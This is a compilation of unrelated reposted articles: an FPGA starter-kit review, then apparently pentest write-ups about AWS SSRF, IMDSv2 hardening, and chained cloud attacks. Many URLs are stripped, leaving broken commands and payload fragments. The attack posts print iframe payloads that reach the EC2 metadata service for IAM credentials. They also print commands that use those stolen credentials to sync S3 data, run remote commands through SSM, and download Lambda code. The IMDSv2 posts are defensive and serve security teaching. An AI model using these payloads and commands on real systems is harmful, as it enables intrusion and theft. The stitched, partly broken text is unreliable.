Summer of FPGAs — Lattice MACHXO3LF Starter Kit — Review

Summer of FPGAs -- Lattice MACHXO3LF Starter Kit - Review

Original text by david

  • valuation Type: Development Boards & Tools
  • Was everything in the box required?: Yes
  • What were the biggest problems encountered?:

This is a review for the MachXO3LF Starter Kit which features a low-cost, low-power FPGA from Lattice Semiconductor.  Other features of the kit include:  an FTDI chip for USB communication, an external oscillator, SPI flash, an EEPROM, and voltage regulators.  Additionally, there are four DIP switches and a button which can be used for input, and eight LED’s which can be used for output.  With over 150 pins routed from the FPGA to through-holes on the PCB, there is very little in the way of prototyping with this EVM. 

This is a top view of the MachXO3LF Starter Kit.  The FPGA, FTDI, and external oscillator are near the center, and are surrounded by interfaces for prototyping.
Note:  This is an image of the MachXO3L board which has the same layout as the MachXO3LF.

MachXO3LF Chip Overview

This section will describe the properties of the FPGA device used in the starter kit, but first, it is worthwhile to decipher the part number used.  Specifically, there are a few naming conventions to be aware of:

  1. Board: LCMXO3LF-6900C-S-EVN
  2. Device:  LMXO3LF-6900C-6BG256I
  3. Part Number:  LCMXO3LF-6900C-6BG256I

The names are all very similar, but have slight distinctions.  The «board» name is what appears on the PCB.  The «device» is the specific FPGA being targeted for development with Lattice Semiconductor software.  The «part number» is useful for ordering and is the best way to compare devices within the same family.  As shown below, the LMXO3LF-6900C-6BG256I device, which is used in this EVM, is one of the higher end devices, utilizing approximately 6900 LUT’s while reaching the highest speeds available.  I say approximately 6900 LUT’s because the device only actually has 6864 LUT’s.


In many ways, the secret sauce for Lattice Semiconductor has always been its low-power silicon.  This can be further realized using Static/Dynamic Power Consumption management, which allows programmable low swing differential I/O and the ability to turn off I/O banks, on-chip PLL’s, and oscillators.

What distinguishes the MachXO3 family from other families is its ultra-low density footprint, allowing it to achieve the lowest cost per I/O while supporting the industry’s latest standards.  These I/O standards allow neat features such as drive strength control, slew rate control, PCI compatibility, bus-keeper latches, pull-up and pull-down resistors, open drain outputs, and hot socketing.

PL Architecture

This section will explore the MachXO3LF architecture within the programmable logic (PL) fabric.  The fundamental unit of logic within the MachXO3 family is the slice.  Each slice contains the same resources:  2 LUT4’s and 2 registers.  The diagram below shows a detailed diagram of a slice, detailing the resources available and the buses used for control logic.

It may be tempting to think that a slice can be instantiated into an FPGA design directly so that each of these signals can be controlled, however, that is not the case.  Lattice Semiconductor only uses a subset of the possible functions by creating «black box» primitives for various functions.  Thus, as a design decision, they use another level of hierarchy called the programmable function unit (PFU) which contains four slices, as shown below.

This is a diagram of the PFU which contains four slices.

The main subtly with the PFU is that although each slice contains the same dedicated resources, only slices 0-2 support RAM mode.  This is summarized in the table below.


Using these slices, Lattice Semiconductor is able to implement quite the assortment of «black box» primitives which can be used in designs (174 primitives to be exact!).  See the attached spreadsheet for more details about these primitives (primitives.xlsx).

PL Resources

As described in the «PL Architecture» section, the MachXO3LF FPGA is composed of four slice PFU blocks.  The mode of operation of these slices is what determines the resources that are available on the FPGA.

Now for the numbers.  The MachXO3LF device used in this kit contains 3432 PFU blocks.  Since each block contains four slices, there are 13,728 slices available.  If every slice was configured as a LUT4, then there would be 27,456 LUT4s because each slice contains two.  Mathematically, 27456 LUT4s is equivalent to 6864 LUT8s, which is why the «part number» for this device is labelled LCMXO3LF-6900C-6BG256I.

Likewise, when implementing RAM, only slices 0-2 are used.  Slices 0-1 are used to create the 16×4-bit ram address space, and Slice 2 is used for control signals.  This means that if every slice was configured as 4-bit wide distributed RAM (single or dual), then there would be 54k addresses of 4-bit data.

Numbers aside, here is a summary of PL resources and peripherals:

LUTs:  6900

Distributed RAM (kb):  54

EBR SRAM (kb):  240

UFM (kb):  256

Number of PLLs:  2

Hardened Functions:

        [2x] I2C

        [1x] SPI

        [1x] Timer/Counter

        [1x] Oscillator

Design Approaches:

There are two main approaches for creating a design using Lattice Diamond primitives.  One is IPexpress, and the other is PMI.  IPexpress is for people who prefer a GUI, and PMI are for people who prefer to work with source code.  In reality, most people use some combination of both.  In fact, even though PMI is considered the more «advanced» option, Lattice Semiconductor themselves even say that some features can only be implemented using IPexpress.

Here is an example of creating a pll module that can generate a 48MHz clock from a 12MHz reference clock.


As you can see, with just a few clicks, Lattice Diamond’s IPexpress can generate a very useful module that can be instantiated into any design.

The alternative approach is to use PMI.  There are several ways to go about this.  One is to use the template editor (View->Template Editor).  The other way is to manually instantiate modules from the reference library.

For synthesis, use:  C:\lscc\diamond\3.12\cae_library\synthesis\verilog\pmi_def.v & C:\lscc\diamond\3.12\cae_library\synthesis\verilog\machxo3lf.v

For simulation, use:  C:\lscc\diamond\3.12\cae_library\simulation\verilog\pmi\* & C:\lscc\diamond\3.12\cae_library\simulation\verilog\machxo3l\*

My personal preference is to use the template editor whenever possible.  For instance, in one of my SPI implementations (I did several iterations), I used a PMI FIFO like the one below.


This to me, feels like I have more control over the design which is what I prefer.  My opinion is that the GUI is kind of busy, but the upside is that it is much better at catching errors.

Project 0:  Blink Reference Design

Out of the box, the MachXO3LF Starter Kit comes preprogrammed with a blink reference design.  The design teaches the user how to use the internal and external oscillators as clocks, the DIP switches as a data input, the button as an asynchronous reset, and the LED’s as a data output.  The design should be quite intuitive for anyone who has worked with an HDL.  The table below shows the functional behavior of the reference design.  Although not a big deal, I noticed a small discrepancy between the user guide and the actual implementation, so I marked those changes in red.  Below the first table, I also provide a visual representation for the four blink modes that can be selected.  Later on in this review, I share a video which runs through each of these configurations.


Internal vs External Oscillator:

By default, the internal oscillator is enabled in every design even if it is not instantiated.  It can be inserted into the design using parameterized module instance (PMI) to override its default value.  The internal oscillator is good for a general purpose reference clock, but is perhaps not the most precise clock.


The external clock is a crystal that is fixed at 12MHz, and is probably the most precise clock in the design.  It can be very useful when working with the PLL’s of the MachXO3LF’s clocking system.  Below are some images of the 7M-12.000MAAJ-T crystal used in the design.  Additionally I provided an oscilloscope reading to verify its frequency.


Project 1:  UART

For my first project, I wanted to use the FTDI chip to communicate with a PC over UART.  It took me a while to figure out how to do this, so I will spend some time describing how this is done.  The first step is to look at the schematic diagram for the FTDI chip on page 21 of the MachXO3 Starter Kit User Guide.  Looking at this diagram, you can see signals for RS232_Rx_TTL and RS232_Tx_TTL.  If you look at page 23, you can also see that the RS232_Rx_TTL and RS232_Tx_TTL signals are connected to the FPGA at pins A11 and C11 respectively.  If you are like me, and have not come across RS232 before, it is pretty much just an electrical standard commonly used on USB’s and can be used to implement the UART protocol.  One thing that took me a while to realize, is that the RS232 nodes R14 and R15 are not actually connected.  In order to use these signals, you must connect a 0-ohm resistor or solder the traces together.  The schematic diagrams and soldered joints are shown below.


Once the board was modified to support RS232, it was time to write a UART controller.  I decided to keep things very simple by modifying the reference design that was provided with the EVM.  I wanted the UART instance to have the following specs:  9600 baud, 8 data bits, and 1 stop bit.  Since the reference design uses a reference clock of 12MHz, I used a clock enable to reduce the speed of the transfer to 9600Hz.  To keep the transfers simple I assigned the 8 data bits to be {4’b0011, DIP_SW[3:0]}.  The reason for this is that the ASCII characters for 0-9 have hexadecimal values of 0x30-0x39.  Thus, using the DIP switches, you can easily correlate the input to the UART output.  To test the full system, I configured PuTTY as shown below.


Once PuTTY is setup, the FPGA can be programmed and the terminal will receive data.  Note:  You will have to configure the UART port on the FTDI chip’s EEPROM using FTDI’s FT_Prog software as shown in the image below:


I have included the project source files as an attachment:  Additionally, a demo of this project is included in the video that I made for this RoadTest.

Project 2:  SPI LCD & BLDC Motor Control

This section will provide an overview for my SPI LCD and BLDC motor project.  I had much bigger plans than I was able to achieve in the time frame of this Roadtest, so I plan to provide an update to this project in the future.  Originally, I was planning to use an IMU to control a BLDC motor and display statistics to an LCD screen.  Since I was running out of time, I decided to focus on just the LCD and BLDC motor.

For now we will focus on the SPI LCD.  For the LCD, I chose to interface Mikroe’s LCD mini click, which has two SPI slaves:  the MCP23S17 port expander and the MCP4161 digital potentiometer.  The digital potentiometer was rather trivial (only needs one instruction), so the focus will be on the port expander.  A pinout of the LCD mini click is shown below.  Since I am only interested in displaying text to the screen, the SDO, PWM, and INT signals were unused in my implementation.


In an effort to spare the reader most of the details of the implementation, I have shared a timing diagram and the packet format needed to communicate with the LCD mini click.  Both the port expander and digital potentiometer slaves use SPI MODE 0, meaning the sampling polarity and phase are both zero.


When developing this design, most of my time was spent using ModelSim Lattice-Edition.  I chose to use this simulator because this is what I am familiar with, as this was what I used in undergrad last year.  As someone who used it in conjunction with Quartus (Altera/Intel), I always felt like ModelSim was kind of clunky, but thankfully this is done much better in Lattice Diamond in my opinion and is not nearly as buggy.  Within Lattice Diamond, you can easily specify and distinguish between sources for simulation and sources for synthesis.  This removes a lot of the headache of using low-level primitives.

In my design, I have a ROM that stores SPI instructions.  In order to simulate, it is necessary to load a .mem file.


Note:  The .mem file used in the simulator is slightly different from the final version used in Lattice Diamond.

The full simulation takes about 500,000ns to complete.  I have included the full waveform as well as a close-up view below.  In this implementation, most packets send three bytes at a time.  The first two bytes are generally 0x40 (device opcode — write to address 0x000) and 0x15 (register address of port buffer), and the third byte is the actual data to send.  The ROM is configured to send 4-bit data in the third byte which means it takes several byte transfers to send a byte of printable data.  There are probably better implementations, but I did not want to spend too much time interfacing an LCD.


Unfortunately, like anything else, simulations never work the first time in the real world…  I spent a long time trying to debug the issue.  Turns out I was overclocking the SPI LCD.  After reducing the SPI clock and introducing some delays to meet device-specific timings, I was able to get a functional design.  One of the most helpful features to figure all of this out was Lattice Diamond’s Reveal.  The tool is flat-out awesome, and is probably my favorite integrated logic analyzer of the vendors I have used (Altera/Intel, Xilinx).  From a GUI standpoint, I love the fact that I can just choose a net like I would in a simulator, and then Diamond just kind of does the rest.  Not to mention, since these devices are smaller, it doesn’t take much time at all to insert these into the design and rebuild everything.  Below is an example of reveal capturing what is going on in the hardware.


With the help of Lattice Reveal, I was able to rule out any issues with RTL which led me to experiment with slower clock speeds to communicate with the LCD mini click.  After revamping the design, I was able to get the LCD to work and display messages like «hello».  As long as the ROM is configured properly, every function within the LCD can be implemented.  My plan going forward, is to add a FIFO which receives IMU statistics (ie post-processed IMU data) and displays them to the LCD screen.

Youtube Video

As mentioned in some of the previous sections of this RoadTest, I compiled all the footage taken during the RoadTest into a single video.  See the embedded video below.


I had a really good experience with the MachXO3LF Starter Kit.  Like anything else in electronics, the best FPGA is the one that meets your requirements at the lowest cost.  For low-power, low-cost applications, the MachXO3LF could be an absolute steal.  You could spend hundreds of dollars on an energy-inefficient chip with 250k LUTs or about ten dollars on a power-saving chip with 6.9k LUTs.  As someone who has worked with Xilinx and Intel chips, for a long time I thought they were the only real contenders in the FPGA market, but Lattice Semiconductor offers so many high value chips that would be a shame not to explore.


  • They give the developer a ton of control and they do so without forcing them into any overly complicated workflows.
  • The tools have a very intuitive user interface.  Most things can be figured out without looking over a user manual.
  • The HTML documentation within Lattice Diamond is very well organized.  I can find the information I want extremely quickly.
  • The architecture is fairly easy to understand so there isn’t a huge learning curve to understand it.
  • The tools are QUICK.  You can do full-time development without ever feeling like you are killing time having to wait for a build to complete.  I also found the active syntax checker (or whatever it is called) extremely helpful.
  • The board starts up instantly.
  • The board is extremely cheap.
  • The hardware is reliable.


  • No forums to get help.
  • Some software bugs appear here and there.  Most of the time it could be fixed by restarting Lattice Diamond.  On one occasion, I closed a project without saving changes.  It seems to have sent Lattice Diamond into a panic, and the only way to fix it was reinstalling the software.  Thankfully it only takes a few minutes to reinstall.  None of the other bugs were as severe.
  • I tried using some other reference designs like ones for SPI and UART, but I did not find them very intuitive.  Perhaps I needed to spend more time reading the docs, but I decided to not use them because of this.

These past several weeks have been a great experience, but I also feel like I barely scratched the surface.  In the future, I would love to find out more about the MachXO3LF’s capabilities with MIPI and PCIe interfaces.  For instance, the MIPI DSI and CSI breakout board seems pretty cool ( ).  I plan to make some follow-up posts as I continue to work with the board after the RoadTest!

Finding SSRF via HTML Injection inside a PDF file on AWS EC2

Finding SSRF via HTML Injection inside a PDF file on AWS EC2

Original text by Riyaz Walikar

During a recent application vulnerability assessment we found a Stored HTML Injection vulnerability that was quickly escalated to a full Server Side Request forgery (SSRF) on a AWS EC2.

We test a lot of applications hosted in AWS, especially on EC2. If you are new to this, we recommend reading couple of them before continuing.

An SSRF, privileged AWS keys and the Capital One breach

Getting shell and data access in AWS by chaining vulnerabilities


Server Side Request Forgeries occur when an application accepts user input and performs a network operation based on the user input. This could be an HTTP request, a database connection operation, a SMB connect, a SSH connection or any other network request. As long as the user input determines where the server will make a request to, it is a Server Side Request Forgery (SSRF)

The exploitation of SSRF can lead to all sorts of interesting outcomes ranging from simple information disclosures, port scanning activity, full account compromises and in the case of cloud based services potential compromise of the cloud account itself.

During the security assessment of one of our client’s web application, hosted on AWS, my colleague Riddhi discovered what appeared to be an HTML Injection bug with the potential of escalating it to a Stored XSS. Based on the feature where this issue was found, she realised that there was potential for further exploitation. A stored XSS issue (bad) a SSRF (worse)

Detection for SSRF

The application used user information added during user registration on a formatted HTML page containing a report (sort of like a PDF preview but as HTML). This HTML page could be downloaded as a PDF document. The HTML to PDF conversion was happening on the server side.

The first sign that something was amiss with the feature was when our user’s address that we had provided as 

<iframe src=""></iframe>
 was not sanitised in the HTML preview page, although it was sanitised everywhere else where the user’s address was displayed. Furthermore, generating the PDF caused the iframe to be rendered in the downloaded PDF as well.

Once we knew that the PDF render on the server was using the HTML page as source, we set about to identify if the iframe was actually a server side render or a client side call.

Identification to confirm SSRF

By using Burp Suite’s Collaborator feature we tried to identify if the server was indeed making a request on user’s behalf.

We created a new user in the application, added 

<iframe src="http://BURP-COLLABORATOR-URL"></iframe>
 as the user’s address and attempted to preview the report in HTML.

At this point, this was at the most a Stored XSS as we could create other HTML tags or use the iframe to execute JavaScript.

However, when we started the PDF file download, we received a DNS and HTTP hit to our Burp Collaborator listener from the IP address of the web application server.

Once we had confirmed this was a SSRF via HTML Injection, we set about to exploit the issue and see what an attacker could extract given that the application was hosted on AWS.

Exploitation of SSRF to steal data from AWS account

On numerous occasions in our multiple client assessments, we have come across vulnerabilities on AWS hosted web applications that have allowed us, in some way or the other, to move outside the plane of the web application and actually interact with the AWS cloud infrastructure.

An SSRF on a AWS hosted web application, can potentially allow access to the AWS EC2 Instance Metadata service. This can be used to generate temporary tokens (if an IAM role is attached to the the EC2 instance) that would allow access to other services in AWS, based on the privileges the role has.

In this case as well, our payload of 

<iframe src="
revealed an IAM role attached to the EC2 instance. Using the role name, it was possible to generate temporary tokens for the attached role as well using the payload 
<iframe src="

Once the temporary AWS credentials were retrieved successfully, we configured the aws cli using the 

 option and attempted to identify who we were using 
aws sts get-caller-identity --profile ssrftoken

We used the AWS credential permission enumeration script from to see what access we had, and we were not disappointed.

We stopped our exploitation attempts here and reported the issue to the client along with the mitigations that would fix this issue. For additional post exploitation scenarios, check this post out —


The vulnerability existed because all places where the user provided data was being consumed were not output encoded as per context. The client added additional checks at these entry points to mitigate the vulnerability.

When attacking applications on the cloud, look out for features that accept user input and then use the user input in a different place. Depending on the context of data usage, you may be able to attack the user consuming the data (Stored XSS) or attack the server using payloads that have special meaning on the server based on the context (SSRF using server side HTML injection).

Hire Appsecco to pentest your AWS based Applications

At Appsecco we provide advice, testing and training around software, infra, web and mobile apps, especially that are cloud hosted. We also specialise in auditing AWS environments as per the AWS CIS Foundations Benchmark to create a picture of the current state of security in your AWS environment. Our experience has led us to creating multiple hands on training courses like the very popular “Breaking and Pwning Apps and Servers on AWS and Azure” and “Automated Defence using Cloud Services for AWS, Azure and GCP”.

Drop us an email, if you would like us to assess the security of your AWS infrastructure or if you would like your security team trained in advanced pentesting techniques against AWS..

Automating Migration AWS EC2 Instance Metadata Service (IMDSv2) using Ansible

Automating Migration AWS EC2 Instance Metadata Service (IMDSv2) using Ansible

Original text by Sunesh Govindaraj

TL;DR If you are interested in getting started about this feature, head to our previous blog post — Getting started with Version 2 of AWS EC2 Instance Metadata Service (IMDSv2)

This post is a continuation to the one about AWS EC2 instance metadata service (IMDSv2), how to get started, how to enable, monitor and disable IMDSv2 in your EC2 instances. In this post you will learn how to automate the migration to IMDSv2 for a large scale of EC2 instances.

EC2 configuration automation using Ansible
EC2 configuration automation using Ansible

How to migrate a bulk of EC2 instances to AWS EC2 Instance Metadata Service(IMDSv2)

In order to test it out, let’s create four instances — two each in 

 regions. All the four instances by default use IMDSv1.

Instances in ap-south-1 — Mumbai Region
Instances in ap-south-1 — Mumbai Region
Instances in us-east-1 — North Virginia Region
Instances in us-east-1 — North Virginia Region

At the end of the post, our goal is to migrate all these instances to IMDSv2. We plan to use Ansible playbook to achieve this goal.


Ansible an open source tool owned by Redhat now is what is commonly known as a software provisioning and automation tool. The thing that we love about Ansible is the fact that it is 

 which means no new ports to secure. Works over 
 for linux hosts.


  1. awscli (version >= 1.16.287 with Python/3.6.8)
  2. ansible (version >= 2.9 — ec2_instance)

We have created instances in only two regions, but if a company has like instances in all of the regions, they can define the regions as variable in Ansible like below,

regions: ["eu-north-1", "ap-south-1", "eu-west-3", "eu-west-2", "eu-west-1", "ap-northeast-2", "ap-northeast-1", "sa-east-1", "ca-central-1", "ap-southeast-1", "ap-southeast-2", "eu-central-1", "us-east-1", "us-east-2", "us-west-1", "us-west-2"]

The list of available regions can be got from a simple AWS CLI call like below,

aws ec2 describe-regions --output text | cut -f4

Once we are set with the regions, we need to know the instances that are present in all the regions, in our case we need to know all the four instances that are created. We can use a default EC2 module with Ansible — 

 for getting this information. We iterate this module for all regions and store the result in a variable 

- name: get instance info
module: ec2_instance_info
region: "{{ item }}"

register: instance_info
- "{{ regions }}"

Now we do not really need all the information about instances in all regions, we would just need the 

‘s belonging to each region. So we will query instance_id from the result and also iterate with the regions list that we have. As a result we get 
‘s for each region which we can use for running migrate command.

- name: Enable IMDSv2 for instances in each region
command: "sh {{ shell_file }} {{ item | join(' ') }}"

with_together :
- "{{ regions }}"
- "{{ instance_info | json_query('results[*].instances[*].instance_id') }}"

At the time of writing this post, option to 

 was not available in the AWS module for Ansible. So we chose to quickly write a shell script that internally uses 
 for modifying metadata options.



# We remove region from the arguments list for iterating only the instances
for instance_id in "$@"
result=`aws ec2 modify-instance-metadata-options --region ${region} --instance-id ${instance_id} --http-endpoint enabled --http-token required`
echo $result

 should be substituted with an IAM role that has 
 permission to modify instance metadata

Our script gets called like below by the task in our Ansible playbook,

sh &lt;region&gt; &lt;instance_id_1&gt; &lt;instance_id_2&gt; &lt;instance_id_n&gt;

Below is the complete code of our playbook (Github Gist),

- name: To enable IMDSv2 in AWS EC2 instances
hosts: localhost
regions: ["eu-north-1", "ap-south-1", "eu-west-3", "eu-west-2", "eu-west-1", "ap-northeast-2", "ap-northeast-1", "sa-east-1", "ca-central-1", "ap-southeast-1", "ap-southeast-2", "eu-central-1", "us-east-1", "us-east-2", "us-west-1", "us-west-2"]
shell_file: ""

- name: get instance info
module: ec2_instance_info
region: "{{ item }}"

register: instance_info
- "{{ regions }}"

- name: Enable IMDSv2 for instances in each region
command: "sh {{ shell_file }} {{ item | join(' ') }}"

with_together :
- "{{ regions }}"
- "{{ instance_info | json_query('results[*].instances[*].instance_id') }}"

Note: We assume the shell file is in home directory and if you would like to run in another ansible node, you should configure it as needed. For running in your local machine, you will have to add your SSH public key to the 

 file and add your private key with 
<em>ssh-add id_rsa</em>
before running the playbook.

Video Demo on YouTube

This method also works for stopped EC2 instances, so that we need not worry about starting an instance at a later point and do migration for that separately.

However, this is only for currently present instances. This does not prevent use of IMDSv1 for instances that are created newly. AWS has introduced a way to enforce the use of IMDSv2 on all new instances using IAM — you can read about it here.



Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2)

Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2)

Original text by Sunesh Govindaraj

TL;DR If you are just interested in how to enable this feature, go to “How do we enable and test this new feature”

This blogpost is about a recently released update to AWS EC2 instance metadata service (IMDSv2) for improving security and adding an additional defence in depth layer. In this post you will learn how to migrate an EC2 instance to IMDSv2. We will also cover how to rollback the change to IMDSv1 in case you face any issues.

Why did AWS release Version 2 of AWS EC2 Instance Metadata service (IMDSv2)

In mid-November 2019, AWS released an update to EC2 instance metadata service which is used for querying instance metadata values. This new release according to AWS is a defence in depth against open firewalls, reverse proxies and SSRF vulnerabilities. IMDSv2 needs a session token for making any request to the service. This token can only be obtained by making a specific request using the 


The service which was initially introduced a decade ago in 2009, has been widely used to exploit Server Side Request Forgery (SSRF) vulnerabilitiesin web applications running on EC2. Any security tester who ever found a vulnerability in an application running on EC2 were able to call the version 1 of instance metadata service to discover 

AWS STS token
 and find out more about privileges and Identity Access Management (IAM) roles it has. The metadata endpoint runs on a link-local IP address and uses HTTP GET requests.

With the new update, AWS has introduced a token based authentication for requesting data with the endpoint and in order to get the token a separate PUT request must be made. According to IMDSv2 introduction blog post, AWS looked at multiple real-world attacks. This combination of getting the token secret first and then further using the token to perform successive requests helps in mitigating most SSRF attacks.

The move to using 

 method to initiate the session is to protect against misconfigured Web Application Firewall (WAF) that allows requests to EC2 instances. Most open WAFs do not support PUT requests.

AWS released a useful CloudWatch metric for discovering all the instances that access metadata endpoint without any token.

How do we enable the security token to test IMDSv2

We will create a role 

 with permission to access Parameter Store (Systems Manager) and attach it to the instance, to understand the use of IMDS. We will create another instance without a role which means it should not make calls like the one with a role. To view this, we will head to Metrics in CloudWatch service where we can create graphs with specific metrics. Under All metrics, select 
EC2 -&gt; Per-Instance Metrics
 and from there select 
 metric for the instances.

CloudWatch metric MetadataNoToken graphed to show requests to Metadata service without token

Now we can try querying the metadata service from the machines and see a corresponding spike in the graph, because the metric defines a value if metadata endpoint is requested without security token.

After few requests without Token, change in graph is seen

Upgrading AWS-CLI

Now that we can monitor the difference between IMDSv1 and IMDSv2 requests, we will go ahead and enable IMDSv2 in both the instances. To do this, we will use 

. An update was released for 
 with the option to enable and disable IMDSv2 under EC2.

To install/update your 

 you could do,

pip3 install awscli# If running python2 version
pip install awscli

Once we upgrade our aws-cli version to 

aws-cli/1.16.287 Python/3.6.8
, we access the command option 
 under EC2. Let’s enable IMDSv2, by running the following command,

aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required

 — ID of the instance that you want to enable IMDSv2.

 — Profile name you have configured for API keys in 

Once security tokens are enabled, when we try to do the curl request to instance metadata endpoint we get 

401 Unauthorized
 as response without the token

IMDSv2 returning 401 Unauthorized for Metadata request without token

Now that we have confirmed that IMDSv2 is enabled, we can generate the token for accessing metadata endpoint with the below 

 request and store the token in a environment variable 

export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" ""`
IMDSv2 Token PUT request

For further calls, we will use the security token obtained as part of the HTTP request header,

curl -H "X-aws-ec2-metadata-token:$TOKEN" -v ""

Value of $TOKEN is from the shell environment.

You can see the difference now in CloudWatch metric graph by making few requests to the metadata endpoint. The graph will not show any activity anymore, since the requests are now made with Security Token.

How to disable security token to rollback from IMDSv2

If you would like to disable IMDS v2 and do not want the restriction of having tokens to make calls to Metadata endpoint, you can use the below command to perform the same,

aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> --profile <PROFILE_NAME> --http-endpoint enabled --http-token optional

All in all, this has been a welcome update to what was a very long expected solution from AWS. This update helps add an additional layer to web applications running on EC2 instances from making a high severity vulnerability into a lower one.



At Appsecco we provide advice, testing and training around software, infra, web and mobile apps, especially that are cloud hosted. We also specialise in auditing AWS environments as per the AWS CIS Foundations Benchmark to create a picture of the current state of security in your AWS environment. Our experience has led us to creating multiple hands on training courses like the very popular “Breaking and Pwning Apps and Servers on AWS and Azure” and “Automated Defence using Cloud Services for AWS, Azure and GCP”.

Drop us an email, if you would like us to assess the security of your AWS infrastructure or if you would like your security team trained in advanced pentesting techniques against AWS.

Getting shell and data access in AWS by chaining vulnerabilities

Getting shell and data access in AWS by chaining vulnerabilities

Original text by Riyaz Walikar

Slides from a talk on using mis-configurations, overtly permissive IAM policies and application security vulnerabilities to get shells in AWS EC2 instances and go beyond the plane of attack. Presented at OWASP Bay Area August 2019 meetup.

Updated 3rd December 2019 — Please note: AWS released an additional security defences against the attack mentioned in this blog post. While the methods described here will work with the legacy version of Instance Meta Data Service (IMDSv1), they will be thwarted by IMDSv2. Read our extensive blog post on how to utilise AWS EC2 IMDSv2 and add the additional defences for your EC2 machines

Slides of the talk

Here are all the slides of the talk containing full commands and screenshots of the various exploitation scenarios

What was the talk about?

The talk primarily covered three scenarios that were setup using real world cases of penetration testing exercises that led to shell access and access to data beyond the EC2 instances that were compromised.

One of the scenarios is also covered in our “Breaking and Owning Applications and Servers on AWS and Azure class (discover and exploit) and in our Automated Defence training that we run at BlackHat (how to automatically defend against this vulnerability in AWS)”.

All the three scenarios and additional exploitation based scenarios are being added to our new pentester focused training titled “Attacking and Exploiting flaws in the Cloud” and will contain even more exploitation scenarios and attacks across multiple cloud providers as well.

Coming back to the talk, I covered the steps we took in our assessments to detect, exploit and gain access to resources within AWS using a step by step approach. All the scenarios were explained with commands and a live lab setup for the talk

Case 1: Misconfigured bucket to system shells

This scenario covered a case where we were able to use DNS information (something that we actively look for during our Penetration Testing exercises) to identify the naming convention of S3 buckets for an organisation. We used this information to discover additional buckets, one of which contained multiple SSH keys.

We started by looking at the target application — http://www.galaxybutter.

We queried the nameserver for
 and then queried the discovered nameserver for the CNAME and TXT records for the domain

dig NS
dig TXT

For the IP address discovered in the TXT records, we ran a port scan to find visible services exposed to the Internet/our IP address


 flag sets the source port to TCP port 80 that allows, in theory, nmap to reach ports behind stateless firewalls which presume that the traffic is response to a web request sent from behind the firewall.

We saved the result to come back to it later.

The next step was to identify if there are any other buckets that follow the same naming convention as the CNAME for 

<a rel="noreferrer noopener" href="" target="_blank"></a>.
 We created a custom dictionary based on the naming convention and ran that against AWS using DigiNinja’s 

In an open bucket we found a zip file called
 which contained what looked like multiple SSH private keys.

We attempted to login into multiple IP addresses we had discovered so far with common AWS linux usernames (ubuntu, ec2-user, root etc.) and were able to login into one of the servers.

ssh -i sales-marketing-app.pem ubuntu@

Once we had SSH’ed into the server, we browsed the file system as a post exploitation requirement and found additional secrets to a RDS database server in a configuration file.

The database was not accessible from the Internet but was reachable from the EC2 instance. So we connected to it and dumped the first 5 rows of a table from within, revealing usernames and password hashes!

Essentially, giving us access to the AWS RDS from a weakly configured S3 bucket, whose naming convention was obtained using DNS enumeration.

Case 2: SSRF to Shell via IAM Policies

This scenario was very similar to the recent CapitalOne breach. We wrote a technical blogpost on what could have transpired based on available information.

An application was discovered with a login page and provided user registration capability. Post login the application allowed user’s to input a URL and the server would issue a web request on behalf of the user. Classic SSRF!

Using the SSRF we were able to query the meta-data service at 

<a href="" target="_blank" rel="noreferrer noopener"></a>
 and obtain information about the instance.

We were able to access the temporary token of a role attached to the EC2 instance using the URL

We added the creds to our local AWS CLI using the following command

aws configure --profile stolencreds

As these are temporary tokens, a variable called 

 also needs to be added to the 
 file. This variable can also be added as an environment variable for the AWS CLI to work with the new creds.

A quick check to see if the creds are setup properly is to use the following command, much like the 

 of Linux/Windows world

aws sts get-caller-identity --profile stolencreds

The newly added credentials were then used to enumerate S3 buckets and download data from them using the following commands

aws s3 ls --profile stolencreds
aws s3 ls s3://data.serverhealth-corporation --profile stolencreds
aws s3 sync s3://data.serverhealth-corporation . --profile stolencreds

As the credentials were privileged, we then obtained command execution capabilities on one of the running EC2 instances within the environment using AWS SSM service

We enumerated the instances that had the AWS SSM service running using the command

aws ssm describe-instance-information — profile stolencreds

Then using the 

 from the 
command above, we ran the 
to execute and read the output of 

aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds

aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds

Essentially, an application vulnerable to a Server Side Request Forgery allowed access to the temporary credentials of an IAM role that was attached to the EC2 instance. This role had extensive permissions that allowed us to gain access to the entire AWS account of the target organisation and shell access to the EC2 instances using the AWS SSM service.

Case 3: Client-Side Keys, IAM Policies and a Vulnerable Lambda

A web application that allowed users to upload files to an S3 bucket was using privileged IAM keys in the client side JavaScript. It was possible to use these keys to query various services inside AWS. We found multiple Lambda functions in the AWS account. Downloading and analysing one of the Lambda functions led to the discovery of a code injection vulnerability that gave us access to the Lambda runtime environment.

We also enumerated the EC2 instances running within this environment and gained access to one of them using the new EC2 Instance connect for SSH access feature by AWS.

We started by looking at the client’s web app and found a functionality to upload files.

The site itself was static (hosted on S3) but it was performing dynamic actions (upload to S3). We poked around the JavaScript, as that was the only dynamic component here and discovered AWS keys in the client side JS

We added these keys to our AWS CLI and ran the 

 tool from NCC Group. The tool is available on Github at —

scout --profile uploadcreds

This returned a complete picture of the AWS environment. We found that the account had multiple Lambda functions running with the AWS API Gateway added as triggers. Once such endpoint seemed to accept user input and returned the MD5 sum of the string passed as user input.

We downloaded the code for the Lambda functions using the following commands

aws lambda list-functions — profile uploadcreds
aws lambda get-function --function-name lambda-name-here-from-previous-query --query 'Code.Location' --profile uploadcreds
wget -O url-from-previous-query --profile uploadcreds

The downloaded zip contains the code for the Lambda function.

Upon inspection, it was discovered that the code had a command injection vulnerability

Finally, to get a shell on one of the instances, to show impact, we used a relatively new feature of AWS EC2 called EC2 instance-connect short SSH access

You can read more about this feature here —

In Closing

Some thoughts to summarise the talk were also shared with the audience

  • As we started with and if it’s evident now, the most common theme is the mis-configuration of services, insecure programming and permissions that should not have been given
  • Reconnaissance and OSINT is the key for a lot of cloud services and applications
  • When attacking apps and servers, it is important to identify key DNS, whois, IP history and sub-domain information
  • Post exploitation has no limits with the cloud. You can attack additional services, disrupt logging, make code changes to attack users — Your imagination (and the agreement with your client) is the limit
